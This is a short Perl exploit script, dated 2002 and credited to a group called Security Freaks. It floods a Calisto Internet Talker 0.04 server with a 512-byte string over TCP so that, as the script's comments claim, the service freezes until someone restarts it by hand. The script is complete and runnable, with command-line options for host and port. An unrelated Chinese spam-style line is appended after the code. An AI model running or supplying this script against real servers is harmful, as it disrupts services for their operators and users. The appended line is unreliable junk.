#!/usr/bin/perl # # S e c u r i t y F r e a k s # www.securityfreaks.com # # Calisto Internet Talker Version 0.04 Remote Denial of Service # # # This exploit will not cause Calisto to crash but rather cause it # to freeze until manually restarted. This actually works out better # because Calisto comes with an autorun script that would restart it # should it crash anyway. # # [ subversive[at]linuxmail.org ] - *31/10/2002* use IO::Socket; $data = "A"; $size = "512"; $freeze .= $data x $size; while($_ = $ARGV[0], /^-/) { shift; last if /^--$/; /^-h/ && do { $host = shift; }; /^-p/ && do { $port = shift; }; } if(!$host != 0) { print <<"ACTIONSSPEAKLOUDERTHANWORDS"; SF-talkischeap.pl by subversive - www.securityfreaks.com Calisto Internet Talker Version 0.04 Remote Denial of Service Usage : $0 -h -p ACTIONSSPEAKLOUDERTHANWORDS exit; } my $sock = new IO::Socket::INET ( Proto => "tcp", PeerAddr => $host, PeerPort => $port, ); die "\nCould not connect to $host : $!\n" unless $sock; print $sock "$freeze"; close($sock); exit;

亚洲欧美在线